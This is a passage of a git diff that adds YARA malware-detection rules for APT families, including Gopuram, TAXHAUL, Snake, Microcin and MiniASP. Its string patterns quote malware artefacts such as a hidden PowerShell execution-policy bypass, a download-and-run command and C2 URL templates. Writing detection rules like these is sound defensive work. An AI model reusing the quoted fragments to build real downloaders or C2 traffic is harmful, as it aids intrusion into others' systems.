+/* Super Rules ------------------------------------------------------------- */
+
+rule APT_MagicHound_MalMacro {
+   meta:
+      description = "Detects malicious macro / powershell in Office document"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
+      date = "2017-02-17"
+      super_rule = 1
+      hash1 = "66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b"
+      hash2 = "e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6"
+      id = "ad573f52-dbda-5852-ad73-9ef47dd6e7df"
+   strings:
+      $s1 = "powershell.exe " fullword ascii
+      $s2 = "CommandButton1_Click" fullword ascii
+      $s3 = "URLDownloadToFile" fullword ascii
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 8000KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_mal_gopuram_apr23.yar b/yara-Neo23x0/apt_mal_gopuram_apr23.yar
new file mode 100644
index 0000000..76a0fe4
--- /dev/null
+++ b/yara-Neo23x0/apt_mal_gopuram_apr23.yar
@@ -0,0 +1,90 @@
+import "pe"
+
+rule MAL_Shellcode_Loader_Apr23 {
+   meta:
+      author = "X__Junior (Nextron Systems)"
+      reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+      description = "Detects Shellcode loader as seen being used by Gopuram backdoor"
+      date = "2023-04-03"
+      hash1 = "6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad"
+      hash2 = "b56279136d816a11cf4db9fc1b249da04b3fa3aef4ba709b20cdfbe572394812"
+      score = 80
+      id = "363b67d6-9cac-513d-a545-1f256667bab8"
+   strings:
+      $op1 = { 41 C1 CB 0D 0F BE 03 48 FF C3 44 03 D8 80 7B ?? 00 75 ?? 41 8D 04 13 3B C6 74 } // API hahsing
+      $op2 = { B9 49 F7 02 78 4C 8B E8 E8 ?? ?? ?? ?? B9 58 A4 53 E5 48 89 44 24 ?? E8 ?? ?? ?? ?? B9 10 E1 8A C3 48 8B F0 E8 ?? ?? ?? ?? B9 AF B1 5C 94 48 89 44 24 ?? E8 } // pushing API hashes
+   condition:
+      all of them
+}
+ 
+rule APT_MAL_Gopuram_Backdoor_Apr23 {
+   meta:
+      author = "X__Junior (Nextron Systems)"
+      reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+      description = "Detects Gopuram backdoor"
+      date = "2023-02-24"
+      hash1 = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
+      hash2 = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
+      score = 80
+      id = "3ae5ddcb-5601-5dca-85dd-0a4772577fae"
+   strings:
+      $x1 = "%s\\config\\TxR\\%s.TxR.0.regtrans-m"  ascii
+      $xop = { D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE } // operations on filename
+
+      $opa1 = { 48 89 44 24 ?? 45 33 C9 45 33 C0 33 D2 89 5C 24 ?? 48 89 74 24 ?? 48 89 5C 24 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 44 8D 43 } // decrypt and Virtualprotect
+      $opa2 = { 48 89 B4 24 ?? ?? ?? ?? 44 8D 43 ?? 33 D2 48 89 BC 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 45 33 C0 33 D2 8B F8 E8 ?? ?? ?? ?? 8D 4F ?? E8 ?? ?? ?? ?? 4C 8B 4C 24 ?? 44 8D 43 ?? 48 8B C8 8B D7 48 8B F0 44 8B F7 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? E8  } // read file content
+   condition:
+      ( uint16(0) == 0x5A4D and filesize < 2MB
+        and pe.characteristics & pe.DLL and 1 of ($x*)
+      )
+      or all of ($opa*)
+}
+
+rule APT_NK_MAL_DLL_Apr23_1 {
+   meta:
+      description = "Detects DLLs loaded by shellcode loader (6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad) (relation to Lazarus group)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+      date = "2023-04-03"
+      score = 75
+      hash1 = "69dd140f45c3fa3aaa64c69f860cd3c74379dec37c46319d7805a29b637d4dbf"
+      hash3 = "bb1066c1ca53139dc5a2c1743339f4e6360d6fe4f2f3261d24fc28a12f3e2ab9"
+      hash4 = "dca33d6dacac0859ec2f3104485720fe2451e21eb06e676f4860ecc73a41e6f9"
+      hash5 = "fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e"
+      id = "c2abe266-0c21-51aa-9426-46a4f59df937"
+   strings:
+      $x1 = "vG2eZ1KOeGd2n5fr" ascii fullword
+
+      $s1 = "Windows %d(%d)-%s" ascii fullword
+      $s2 = "auth_timestamp: " ascii fullword
+      $s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36" wide fullword
+
+      $op1 = { b8 c8 00 00 00 83 fb 01 44 0f 47 e8 41 8b c5 48 8b b4 24 e0 18 00 00 4c 8b a4 24 e8 18 00 00 48 8b 8d a0 17 00 00 48 33 cc }
+      $op2 = { 33 d2 46 8d 04 b5 00 00 00 00 66 0f 1f 44 00 00 49 63 c0 41 ff c0 8b 4c 84 70 31 4c 94 40 48 ff c2 }
+      $op3 = { 89 5c 24 50 0f 57 c0 c7 44 24 4c 04 00 00 00 c7 44 24 48 40 00 00 00 0f 11 44 24 60 0f 11 44 24 70 0f 11 45 80 0f 11 45 90 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 500KB and (
+         1 of ($x*)
+         or 2 of them
+      )
+      or (
+         $x1 and 1 of ($s*)
+         or 3 of them
+      )
+}
+
+rule APT_UNC4736_NK_MAL_TAXHAUL_3CX_Apr23_1 {
+   meta:
+      description = "Detects TAXHAUL (AKA TxRLoader) malware used in the 3CX compromise by UNC4736"
+      author = "Mandiant"
+      date = "2023-03-04"
+      score = 80
+      reference = "https://www.3cx.com/blog/news/mandiant-initial-results/"
+      id = "25a80f98-03d6-59e6-84e6-6d847a6c591e"
+   strings:
+      $p00_0 = {410f45fe4c8d3d[4]eb??4533f64c8d3d[4]eb??4533f64c8d3d[4]eb}
+      $p00_1 = {4d3926488b01400f94c6ff90[4]41b9[4]eb??8bde4885c074}
+   condition:
+      uint16(0) == 0x5A4D and any of them
+}
diff --git a/yara-Neo23x0/apt_mal_ilo_board_elf.yar b/yara-Neo23x0/apt_mal_ilo_board_elf.yar
new file mode 100644
index 0000000..b991411
--- /dev/null
+++ b/yara-Neo23x0/apt_mal_ilo_board_elf.yar
@@ -0,0 +1,18 @@
+
+rule APT_MAL_HP_iLO_Firmware_Dec21_1 {
+   meta:
+      description = "Detects suspicios ELF files with sections as described in malicious iLO Board analysis by AmnPardaz in December 2021"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/"
+      date = "2021-12-28"
+      score = 80
+      id = "7f5fa905-07a3-55da-b644-c5ab882b4a9d"
+   strings:
+      $s1 = ".newelf.elf.text" ascii
+      $s2 = ".newelf.elf.libc.so.data" ascii
+      $s3 = ".newelf.elf.Initial.stack" ascii
+      $s4 = ".newelf.elf.libevlog.so.data" ascii
+   condition:
+      filesize < 5MB and 2 of them or 
+      all of them
+}
diff --git a/yara-Neo23x0/apt_mal_ru_snake_may23.yar b/yara-Neo23x0/apt_mal_ru_snake_may23.yar
new file mode 100644
index 0000000..e9330b3
--- /dev/null
+++ b/yara-Neo23x0/apt_mal_ru_snake_may23.yar
@@ -0,0 +1,82 @@
+/* 
+  Rule that uses the byte chains included in the Volatility Plugin published
+  by CSA in a YARA rule
+
+  code from the plugin:
+  
+  strings_to_find = [
+    b'\x25\x73\x23\x31',
+    b'\x25\x73\x23\x32',
+    b'\x25\x73\x23\x33',
+    b'\x25\x73\x23\x34',
+    b'\x2e\x74\x6d\x70', 
+    b'\x2e\x73\x61\x76',
+    b'\x2e\x75\x70\x64']
+*/
+
+rule APT_MAL_RU_WIN_Snake_Malware_May23_1 {
+    meta:
+        author = "Matt Suiche (Magnet Forensics)"
+        description = "Hunting Russian Intelligence Snake Malware"
+        date = "2023-05-10"
+        threat_name = "Windows.Malware.Snake"
+        reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
+        score = 75
+        scan_context = "memory"
+        license = "MIT"
+
+    /* The original search only query those bytes in PAGE_EXECUTE_WRITECOPY VADs */
+        id = "53d2de3c-350c-5090-84bb-b6cde16a80ad"
+    strings:
+        $a = { 25 73 23 31 }
+        $b = { 25 73 23 32 }
+        $c = { 25 73 23 33 }
+        $d = { 25 73 23 34 }
+        $e = { 2e 74 6d 70 }
+        /* $f = { 2e 74 6d 70 } */
+        $g = { 2e 73 61 76 }
+        $h = { 2e 75 70 64 }
+    condition:
+        all of them
+}
+
+
+rule APT_MAL_RU_Snake_Indicators_May23_1 {
+   meta:
+      description = "Detects indicators found in Snake malware samples"
+      author = "Florian Roth"
+      reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
+      date = "2023-05-10"
+      score = 85
+      hash1 = "10b854d66240d9ee1ce4296d2f7857d2b1c6f062ca836d13d777930d678b3ca6"
+      hash2 = "15ac5a61fb3e751045de2d7f5ff26c673f3883e326cd1b3a63889984a4fb2a8f"
+      hash3 = "315ec991709eb45eccf724dfe31bccb7affcac7f8e8007e688ba8d02827205e0"
+      hash4 = "417eb4fb9ada270af35562ff317807ac5ca9ee26181fe89990858f0944d3a6a7"
+      hash5 = "48112970de6ea0f925f0657b30adcd0723df94afc98cfafdc991d70ad3602119"
+      hash6 = "55ea557bcf4c143f20c616abe9075f7faafbf825aeef9ddb4f2b201acc44414b"
+      hash7 = "6568bbeeb417e1111bf284e73152d90fe17e5497da7630ccddcbc666730dccef"
+      hash8 = "81d620cb645006ffc9ac1b9d98a53aa286ae92b025bda075962079633f020482"
+      hash9 = "888a3029b1b8b664eb1fc77dd511c4088a1e28ae5535a8683642bb3dca011d00"
+      hash10 = "9027b4fef50b36289d630059425dc1137c88328329c3ea9dbc348dccd001adc0"
+      hash11 = "9ac199572cab67433726976a0e9ba39d6feed1d567d6d230ebe3133df8dcb7fa"
+      hash12 = "a64e5d872421991226ee040b4cd49a89ca681bdef4c10c4798b6c7b5c832c6df"
+      hash13 = "b5d2da5eb57b5ab26edb927469552629f3cf43bbce2b1a128f6daac7cf57f6f7"
+      hash14 = "bc15de1d1c6c62c0bf856e0368adabc4941e7b687a969912494c173233e6d28d"
+      hash15 = "bdf94311313c39a3413464f623bd75a3db2eb05cc01090acd6dcd462a605eb4a"
+      hash16 = "e4311892ae00bf8148a94fa900fc8e2c279a2acd3b4b4b4c3d0c99dd1d32353c"
+      hash17 = "ed74288b367a93c6b47343bc696e751b9c465761ce9c4208901726baa758b234"
+      hash18 = "ef1f1c7692b92a730f76b6227643b2d02a6e353af6e930166e3b48e3903e4ffd"
+      hash19 = "f5e982b76af7f447742753f0b57eec3d7dd2e3c8e5506c35d4cf6c860b829f45"
+      id = "0d4fa8a7-447c-5905-bab9-b63de6209036"
+   strings:
+      $s1 = "\\\\.\\%s\\\\" ascii fullword
+      $s2 = "read_peer_nfo" ascii fullword
+      $s3 = "rcv_buf=%d%c" ascii fullword
+      $s4 = "%s: (0x%08x)" ascii fullword
+      $s5 = "no_impersonate" ascii fullword
+   condition:
+      all of them
+}
+
+
+
diff --git a/yara-Neo23x0/apt_microcin.yar b/yara-Neo23x0/apt_microcin.yar
new file mode 100644
index 0000000..81d92fa
--- /dev/null
+++ b/yara-Neo23x0/apt_microcin.yar
@@ -0,0 +1,128 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-26
+   Identifier: Microcin
+   Reference: https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Microcin_Sample_1 {
+   meta:
+      description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+      date = "2017-09-26"
+      hash1 = "49816eefcd341d7a9c1715e1f89143862d4775ba4f9730397a1e8529f5f5e200"
+      hash2 = "a73f8f76a30ad5ab03dd503cc63de3a150e6ab75440c1060d75addceb4270f46"
+      hash3 = "9dd9bb13c2698159eb78a0ecb4e8692fd96ca4ecb50eef194fa7479cb65efb7c"
+      id = "96e9ac3b-a837-5909-b17b-259d54e0e7fd"
+   strings:
+      $s1 = "e Class Descriptor at (" ascii
+      $s2 = ".?AVCAntiAntiAppleFrameRealClass@@" fullword ascii
+      $s3 = ".?AVCAntiAntiAppleFrameBaseClass@@" fullword ascii
+      $s4 = ".?AVCAppleBinRealClass@@" fullword ascii
+      $s5 = ".?AVCAppleBinBaseClass@@" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and (
+            4 of them or
+            pe.imphash() == "897077ca318eaf629cfe74569f10e023"
+         )
+      )
+}
+
+rule Microcin_Sample_2 {
+   meta:
+      description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+      date = "2017-09-26"
+      hash1 = "8a7d04229722539f2480270851184d75b26c375a77b468d8cbad6dbdb0c99271"
+      id = "8718ef84-be2b-55a6-a4bb-41161548a2b4"
+   strings:
+      $s2 = "[Pause]" fullword ascii
+      $s7 = "IconCache_%02d%02d%02d%02d%02d" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule Microcin_Sample_3 {
+   meta:
+      description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+      date = "2017-09-26"
+      hash1 = "4f74a3b67c5ed6f38f08786f1601214412249fe128f12c51525135710d681e1d"
+      id = "daecdfe3-e78c-55ee-83a3-3cee8cb9bb5f"
+   strings:
+      $x1 = "C:\\Users\\Lenovo\\Desktop\\test\\Release\\test.pdb" fullword ascii
+      $s2 = "test, Version 1.0" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule Microcin_Sample_4 {
+   meta:
+      description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+      date = "2017-09-26"
+      hash1 = "92c01d5af922bdaacb6b0b2dfbe29e5cc58c45cbee5133932a499561dab616b8"
+      id = "8a6a0735-422a-5e91-9274-ce55f7bee5d3"
+   strings:
+      $s1 = "cmd /c dir /a /s \"%s\" > \"%s\"" fullword wide
+      $s2 = "ini.dat" fullword wide
+      $s3 = "winupdata" fullword wide
+
+      $f1 = "%s\\(%08x%08x)%s" fullword wide
+      $f2 = "%s\\d%08x\\d%08x.db" fullword wide
+      $f3 = "%s\\u%08x\\u%08x.db" fullword wide
+      $f4 = "%s\\h%08x\\h%08x.db" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of ($s*) or 5 of them )
+}
+
+rule Microcin_Sample_5 {
+   meta:
+      description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+      date = "2017-09-26"
+      hash1 = "b9c51397e79d5a5fd37647bc4e4ee63018ac3ab9d050b02190403eb717b1366e"
+      id = "cd06f9f7-0ba3-52c9-a814-be1cd53e2e42"
+   strings:
+      $x1 = "Sorry, you are not fortuante ^_^, Please try other password dictionary " fullword ascii
+      $x2 = "DomCrack <IP> <UserName> <Password_Dic file path> <option>" fullword ascii
+      $x3 = "The password is \"%s\"         Time: %d(s)" fullword ascii
+      $x4 = "The password is \" %s \"         Time: %d(s)" fullword ascii
+      $x5 = "No password found!" fullword ascii
+      $x7 = "Can not found the Password Dictoonary file! " fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them ) or 2 of them
+}
+
+rule Microcin_Sample_6 {
+   meta:
+      description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+      date = "2017-09-26"
+      hash1 = "cbd43e70dc55e94140099722d7b91b07a3997722d4a539ecc4015f37ea14a26e"
+      hash2 = "871ab24fd6ae15783dd9df5010d794b6121c4316b11f30a55f23ba37eef4b87a"
+      id = "9988723f-a7ca-598f-9a6c-9f3915732117"
+   strings:
+      $s1 = "** ERROR ** %s: %s" fullword ascii
+      $s2 = "TEMPDATA" fullword wide
+      $s3 = "Bruntime error " fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_middle_east_talosreport.yar b/yara-Neo23x0/apt_middle_east_talosreport.yar
new file mode 100644
index 0000000..196cd28
--- /dev/null
+++ b/yara-Neo23x0/apt_middle_east_talosreport.yar
@@ -0,0 +1,100 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-07
+   Identifier: ME Campaign Talos Report
+   Reference: http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ME_Campaign_Malware_1 {
+   meta:
+      description = "Detects malware from Middle Eastern campaign reported by Talos"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+      date = "2018-02-07"
+      hash1 = "1176642841762b3bc1f401a5987dc55ae4b007367e98740188468642ffbd474e"
+      id = "7c844c5c-caf0-5968-ac1a-72886fcf97cf"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 5000KB and (
+        pe.imphash() == "618f76eaf4bd95c690d43e84d617efe9"
+      )
+}
+
+rule ME_Campaign_Malware_2 {
+   meta:
+      description = "Detects malware from Middle Eastern campaign reported by Talos"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+      date = "2018-02-07"
+      hash1 = "76a9b603f1f901020f65358f1cbf94c1a427d9019f004a99aa8bff1dea01a881"
+      id = "a0beec30-62ff-54c3-ab62-c54454b89f8d"
+   strings:
+      $s1 = "QuickAssist.exe" fullword wide
+      $s2 = "<description>Microsoft Modern Sharing Solution</description>" fullword ascii
+      $s3 = "GBEWCWA" fullword ascii
+      $s4 = "name=\"QuickAssist\" " fullword ascii
+      $s5 = "Cimzal" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+        pe.imphash() == "b06055e6cc2a804111ab6964df1ca4ae" or
+        4 of them
+      )
+}
+
+rule ME_Campaign_Malware_3 {
+   meta:
+      description = "Detects malware from Middle Eastern campaign reported by Talos"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+      date = "2018-02-07"
+      hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
+      id = "d8bfd426-ff42-5332-8206-67a558509494"
+   strings:
+      $x1 = "objWShell.Run \"powershell.exe -ExecutionPolicy Bypass -File \"\"%appdata%\"\"\\sys.ps1\", 0 " fullword ascii
+      $x2 = "objFile.WriteLine \"New-Item -Path \"\"$ENV:APPDATA\\Microsoft\\Templates\"\" -ItemType Directory -Force }\" " fullword ascii
+      $x3 = "objFile.WriteLine \"$path = \"\"$ENV:APPDATA\\Microsoft\\Templates\\Report.doc\"\"\" " fullword ascii
+      $s4 = "File=appData & \"\\sys.ps1\"" fullword ascii
+   condition:
+      uint16(0) == 0x6553 and filesize < 400KB and 1 of them
+}
+
+rule ME_Campaign_Malware_4 {
+   meta:
+      description = "Detects malware from Middle Eastern campaign reported by Talos"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+      date = "2018-02-07"
+      hash1 = "c5bfb5118a999d21e9f445ad6ccb08eb71bc7bd4de9e88a41be9cf732156c525"
+      id = "1ff83ac6-e3f1-55e2-a811-e526b8235c78"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and pe.imphash() == "fb7da233a35ac523d6059fff543627ab"
+}
+
+rule ME_Campaign_Malware_5 {
+   meta:
+      description = "Detects malware from Middle Eastern campaign reported by Talos"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+      date = "2018-02-07"
+      modified = "2022-08-18"
+      hash1 = "d49e9fdfdce1e93615c406ae13ac5f6f68fb7e321ed4f275f328ac8146dd0fc1"
+      hash2 = "e66af059f37bdd35056d1bb6a1ba3695fc5ce333dc96b5a7d7cc9167e32571c5"
+      id = "241a4236-2688-5920-87f7-eed33963ec60"
+   strings:
+      $s1 = "D:\\me\\do\\do\\obj\\" ascii
+      $s2 = "Select * from Win32_ComputerSystem" fullword wide
+      $s3 = "Get_Antivirus" fullword ascii
+      $s4 = "{{\"id\":\"{0}\",\"user\":\"{1}\",\"path\":\"{2}\"}}" fullword wide
+      $s5 = "update software online" fullword wide
+      $s6 = "time.nist.gov" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 60KB and 5 of them or all of them
+}
diff --git a/yara-Neo23x0/apt_miniasp.yar b/yara-Neo23x0/apt_miniasp.yar
new file mode 100644
index 0000000..ff02a92
--- /dev/null
+++ b/yara-Neo23x0/apt_miniasp.yar
@@ -0,0 +1,38 @@
+
+rule APT_Malware_CommentCrew_MiniASP {
+	meta:
+		description = "CommentCrew Malware MiniASP APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "0af4360a5ae54d789a8814bf7791d5c77136d625"
+		hash1 = "777bf8def279942a25750feffc11d8a36cc0acf9"
+		hash2 = "173f20b126cb57fc8ab04d01ae223071e2345f97"
+		id = "a434012d-d13a-5061-a1d8-180d2c5828e8"
+	strings:
+		$x1 = "\\MiniAsp4\\Release\\MiniAsp.pdb" ascii /* score: '19.02' */
+		$x2 = "run http://%s/logo.png setup.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.02' */
+		$x3 = "d:\\command.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+
+		$z1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR " ascii /* PEStudio Blacklist: strings */ /* score: '24.02' */
+		$z2 = "Mozilla/4.0 (compatible; MSIE 7.4; Win32;32-bit)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '22.03' */
+		$z3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC" ascii /* PEStudio Blacklist: agent */ /* score: '32.03' */
+		
+		$s1 = "http://%s/device_command.asp?device_id=%s&cv=%s&command=%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.02' */
+		$s2 = "kill process error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '24.04' */
+		$s3 = "kill process success!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.04' */
+		$s4 = "pickup command error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.04' */
+		$s5 = "http://%s/record.asp?device_t=%s&key=%s&device_id=%s&cv=%s&result=%s" fullword ascii /* score: '20.01' */
+		$s6 = "no command" fullword ascii /* PEStudio Blacklist: strings */ /* score: '19.05' */
+		$s7 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii /* score: '19.02' */
+		$s8 = "command is null!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.05' */
+		$s9 = "pickup command Ok!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.04' */
+		$s10 = "http://%s/result_%s.htm" fullword ascii /* score: '18.01' */
+	condition:
+		uint16(0) == 0x5a4d and 
+		( 1 of ($x*) ) or 
+		( all of ($z*) ) or 
+		( 8 of ($s*) )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_minidionis.yar b/yara-Neo23x0/apt_minidionis.yar
new file mode 100644
index 0000000..9a726bb
--- /dev/null
+++ b/yara-Neo23x0/apt_minidionis.yar
@@ -0,0 +1,89 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-20
+	Identifier: MiniDionis
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MiniDionis_readerView {
+	meta:
+		description = "MiniDionis Malware - file readerView.exe / adobe.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		/* Original Hash */
+		hash1 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
+		/* Derived Samples */
+		hash2 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
+		hash3 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
+		hash4 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
+		hash5 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
+		hash6 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
+		id = "dc8d4311-2a87-5c9b-95ff-52708f293f01"
+	strings:
+		$s1 = "%ws_out%ws" fullword wide /* score: '8.00' */
+		$s2 = "dnlibsh" fullword ascii /* score: '7.00' */
+
+		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b } /* Opcode */
+		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f } /* Opcode */
+		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of ($s*) and 1 of ($op*)
+}
+
+/* Related - SFX files or packed files with typical malware content -------- */
+
+rule Malicious_SFX1 {
+	meta:
+		description = "SFX with voicemail content"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		hash = "c0675b84f5960e95962d299d4c41511bbf6f8f5f5585bdacd1ae567e904cb92f"
+		id = "7c29dfb0-bbed-5017-80b4-a5c44024cd70"
+	strings:
+		$s0 = "voicemail" ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s1 = ".exe" ascii
+	condition:
+		uint16(0) == 0x4b50 and filesize < 1000KB and $s0 in (3..80) and $s1 in (3..80) 
+}
+
+rule Malicious_SFX2 {
+	meta:
+		description = "SFX with adobe.exe content"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		hash = "502e42dc99873c52c3ca11dd3df25aad40d2b083069e8c22dd45da887f81d14d"
